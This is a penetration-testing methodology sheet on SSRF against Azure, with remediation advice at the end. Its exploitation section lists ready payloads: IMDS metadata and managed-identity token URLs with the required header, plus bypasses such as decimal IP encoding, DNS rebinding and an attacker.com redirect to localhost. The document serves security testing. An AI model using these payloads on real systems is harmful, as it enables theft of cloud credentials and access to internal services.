Server-Side Request Forgery (SSRF) — Azure Offensive Methodology

When to Use

When testing web applications that fetch external URLs or process user-provided links.
When assessing cloud metadata exposure on Azure Virtual Machines or App Services.
When performing internal port scanning or service discovery from a compromised web entry point.
When validating WAF and network security group (NSG) effectiveness against egress request forgery.

Key Concepts

Term	Definition
IMDS	Instance Metadata Service, reachable at `169.254.169.254` in Azure
Blind SSRF	A vulnerability where the server makes a request but does not return the content to the attacker
DNS Rebinding	A technique to bypass IP filters by changing the DNS resolution of a domain mid-attack
Out-of-Band (OOB)	Using an external server (e.g., Burp Collaborator) to detect triggered requests

Detection & Exploitation

Azure Metadata Service (IMDS)

Azure's IMDS requires a specific header Metadata: true and an api-version to prevent simple SSRF.

# Accessing Azure Instance Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header required: Metadata: true

# Accessing Managed Identity Tokens
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Bypass Techniques

IP Encoding: http://2130706433/ (Decimal for 127.0.0.1)
DNS Rebinding: Using services like rbndr.us
Redirect Chains: http://attacker.com/redirect?url=http://127.0.0.1:8080

Remediation Reference

Allowlisting: Only allow requests to specific, trusted domains.
Egress Filtering: Use Azure Firewall or NSGs to restrict outbound traffic from web servers.
Metadata Protection: Ensure web applications do not have permissions to add or modify custom headers like Metadata: true.
